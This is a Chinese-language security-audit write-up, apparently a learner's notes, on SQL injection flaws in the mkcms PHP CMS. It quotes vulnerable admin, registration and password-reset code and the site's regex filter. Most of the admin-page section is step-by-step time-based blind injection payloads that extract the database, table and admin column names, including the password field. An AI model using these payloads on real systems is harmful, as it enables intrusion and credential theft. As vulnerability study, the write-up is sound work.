32

0x00 目标

本次学习目标为找出mkcms的sql注入漏洞

0x01 CMS目录说明

核心目录
admin 管理员目录
data 页面显示模板
editor kindeditor编辑器上传目录
install 安装目录
system 配置信息,数据库连接文件等
ucenter 用户目录

0x02 审计工具使用

对于新手来说,当然是先各种审计工具一把梭,用法师的审计工具对mkcms自动审计一波,扫出了不少漏洞。

image-20200601234539613

0x03 后台管理员修改处SQL注入漏洞

主题是挖sql注入,自然是先怼注入,第一个是后台管理员修改处

//为了简洁,我删除了部分代码,留下漏洞代码,此漏洞存在admin/cms_admin_edit.php
$result = mysql_query('select * from mkcms_manager where m_id = '.$_GET['id'].'');
if($row = mysql_fetch_array($result)){
//此处代码未做过滤,直接拼接(当时没有看安全函数,直接就刚了)

代码是这样的

image-20200602000039646

直接抓包做测试,使用审计工具中的mysql数据库监控工具,长这样子

image-20200602000344692

万事俱备,只差测试了,各种‘、“、and 1=1、 and 1=2测试,结果???

image-20200602000542031

作为新手慌得一批,感觉又是各种安全函数,过滤函数,正则过滤啥的。。所以直接上sqlmap跑一波验证一下,如果这个点跑不出来,直接就放了。。毕竟小白,不会像大佬各种绕过。

image-20200602000806115

看见这个心放下了,说明没有找错,回去翻一下,发现system下有个safe.php,内容是这样的

$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){
if(is_array($StrFiltValue)){
$StrFiltValue=implode($StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
print "非法操作!";
exit();
}
}
foreach($_GET as $key=>$value){
StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
StopAttack($key,$value,$cookiefilter);
}

正则

$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

看见这段代码我是懵逼的,仔细看了下发现貌似是过滤整条SQL语句。。不确定就问了下大佬,的确是,不止是过滤sql语句也过滤xss,嗯,对大佬说这是很简单的一个正则表达式(我真垃圾,正则后面还是得好好学一波。。)

可以看见这段正则匹配完整的SQL语句大致把常规的增删改查都给过滤了。

System/library文件对GET、POST、COOKIE、REQUEST使用函数addslashes转义

	if (!empty($_GET)) {
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST)) {
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
function addslashes_deep($_var_0)
{
if (empty($_var_0)) {
return $_var_0;
} else {
//判断传递过来的值是否是一个数组,如果是数组直接返回,不是数组使用addslashes函数转义
return is_array($_var_0) ? array_map('addslashes_deep', $_var_0) : addslashes($_var_0);
}
}
//管理员修改处的注入点,直接使用GET[‘id’]方式传递参数,是数组所以导致此处没有使用addslashes函数,形成注入点

正则可以使用盲注中的延时注入或布尔注入绕过

延时注入
payload:
and if(length(database())=6,sleep(10),1) //如果数据库名=6 页面延时10秒,失败

image-20200602220203248

payload:
and if(length(database())=5,sleep(10),1) //如果数据库名=5 页面延时10秒,成功

image-20200602220111981

验证是存在注入,并且可以用延时注入绕过正则匹配。此处需配合ascii码表来进行测试,如果对应字母的ascii码正确不会延时,错误会延时

数据库名称
payload:http://mkcms.com/admin/cms_admin_edit.php?id=3 and if(ascii(substr(database(),1,1))=101,0,sleep(10))//错误延时10秒

101==e,而数据库第一个字符为m==109

image-20200602221326238

payload:
http://mkcms.com/admin/cms_admin_edit.php?id=3 and if(ascii(substr(database(),1,1))=109,0,sleep(10))//正确立即返回

image-20200602221440660

以此类推

数据库第二个字符
payload:http://mkcms.com/admin/cms_admin_edit.php?id=3 and if(ascii(substr(database(),2,1))=107,0,sleep(10))

数据库第三个字符
payload:http://mkcms.com/admin/cms_admin_edit.php?id=3 and if(ascii(substr(database(),3,1))=99,0,sleep(10))

数据库第四个字符
payload:http://mkcms.com/admin/cms_admin_edit.php?id=3 and if(ascii(substr(database(),4,1))=109,0,sleep(10))

数据库第五个字符
payload:http://mkcms.com/admin/cms_admin_edit.php?id=3 and if(ascii(substr(database(),5,1))=115,0,sleep(10))

数据库名称为:mkcms

判断数据库中一共有多少张表,由于cms过滤了引号,所以将数据库名转成hex

and if((select count(table_name) from information_schema.tables where table_schema=0x6D6B636D73)=17,sleep(5),0)//如果数据库中有17个表,延时5秒

查询数据库的第一个表名

payload: 
//判断数据库第一张表名长度为8
and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=8,0,sleep(5))

//第一张表的对应字符为对应ascii码,立即返回,反之延时5秒
//m
and if((select ascii(substr((select table_name from information_schema.tables where table_schema=0x6D6B636D73 limit 0,1),1,1)))=109,0,sleep(5))
//k
and if((select ascii(substr((select table_name from information_schema.tables where table_schema=0x6D6B636D73 limit 0,1),2,1)))=107,0,sleep(5))
//c
and if((select ascii(substr((select table_name from information_schema.tables where table_schema=0x6D6B636D73 limit 0,1),3,1)))=99,0,sleep(5))
//m
and if((select ascii(substr((select table_name from information_schema.tables where table_schema=0x6D6B636D73 limit 0,1),4,1)))=109,0,sleep(5))
//s
and if((select ascii(substr((select table_name from information_schema.tables where table_schema=0x6D6B636D73 limit 0,1),5,1)))=115,0,sleep(5))
//_
and if((select ascii(substr((select table_name from information_schema.tables where table_schema=0x6D6B636D73 limit 0,1),6,1)))=95,0,sleep(5))
//a
and if((select ascii(substr((select table_name from information_schema.tables where table_schema=0x6D6B636D73 limit 0,1),7,1)))=97,0,sleep(5))
//d
and if((select ascii(substr((select table_name from information_schema.tables where table_schema=0x6D6B636D73 limit 0,1),8,1)))=100,0,sleep(5))

得出数据库第一张表名为:mkcms_ad

逐步查询多个表

查询第n个表的表名长度,修改n即可
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=个数,0,sleep(5))
查询第n个表的表名,修改n即可
and if((select ascii(substr((select table_name from information_schema.tables where table_schema=0x6D6B636D73 limit 0,1),1,n)))=ascii码,0,sleep(5))

查询列名

//查询mkcms_manager共有9列
and if((select count(column_name) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572)=9,0,sleep(5))
//判断第一个列名的长度
and if((select length(column_name) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 0,1)=4,0,sleep(5))

//判断某个列名长度,修改即可
and if((select length(column_name) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit n,1)=长度,0,sleep(5))

//猜解第一个列名
//m
and if((select ascii(substr(column_name,1(位数),1)) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 0(列),1)=109,0,sleep(5))
//_
and if((select ascii(substr(column_name,2(位数),1)) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 0(列),1)=95,0,sleep(5))
//i
and if((select ascii(substr(column_name,3(位数),1)) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 0(列),1)=105,0,sleep(5)i
//d
and if((select ascii(substr(column_name,4(位数),1)) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 0(列),1)=100,0,sleep(5))

第一个列名为:m_id

//猜解第二个列名
//m
and if((select ascii(substr(column_name,1(位数),1)) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 1(列),1)=109,0,sleep(5))
//_
and if((select ascii(substr(column_name,2(位数),1)) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 1(列),1)=95,0,sleep(5))
//n
and if((select ascii(substr(column_name,3(位数),1)) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 1(列),1)=110,0,sleep(5))
//a
and if((select ascii(substr(column_name,4(位数),1)) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 1(列),1)=97,0,sleep(5))
//m
and if((select ascii(substr(column_name,5(位数),1)) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 1(列),1)=109,0,sleep(5))
//e
and if((select ascii(substr(column_name,6(位数),1)) from information_schema.columns where table_name=0x6D6B636D735F6D616E61676572 limit 1(列),1)=101,0,sleep(5))

第二个列名为m_name,以此类推
第三个列名为m_password
第四个列名为m_levels
第五个列名为m_random
第六个列名为m_status
第七个列名为m_logintime
第八个列名为m_loginip
第九个列名为m_loginnum

判断字段中值的长度
and if((SELEct length(id) FRom mkcms_userka limit 0,1)=1,0,sleep(5))

查询字段中的值
and if((select ascii(substr(id,1,1)) from mkcms_userka limit 0,1)=49,0,sleep(5))

其他以此类推

由于手工太麻烦,建议使用sqlmap一把梭

0x04 用户注册处SQL注入

漏洞存在点:ucenter/reg.php

if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));//POST使用addslashes函数过滤了,但是此处使用了stripslashes函数反向转义,相当于没有做转义
// 检测用户名是否存在
$query = mysql_query("select u_id from mkcms_user where u_name='$username'");//漏洞点,此处会将输入的用户带入数据库查询判断是否重复,且因为stripslashes反向转义,等于没有做过滤,直接拼接,形成注入点
if(mysql_fetch_array($query)){
echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
exit;
}

sqlmap一把梭

image-20200605003950434

0x05 密码找回处SQL注入

漏洞存在点:ucenter/repass.php

if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));//漏洞点,post方式使用
$sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';//
if (mysql_query($sql))
//删除多余代码保留漏洞代码,可以看见此处代码与用户注册处的代码一样,都是post获取了参数,然后使用stripslashes反向转义,然后直接拼接带入到数据库查询

image-20200605005520362

知道作者使用了stripslashes函数反向转义后,可以直接定位此函数来寻找SQL注入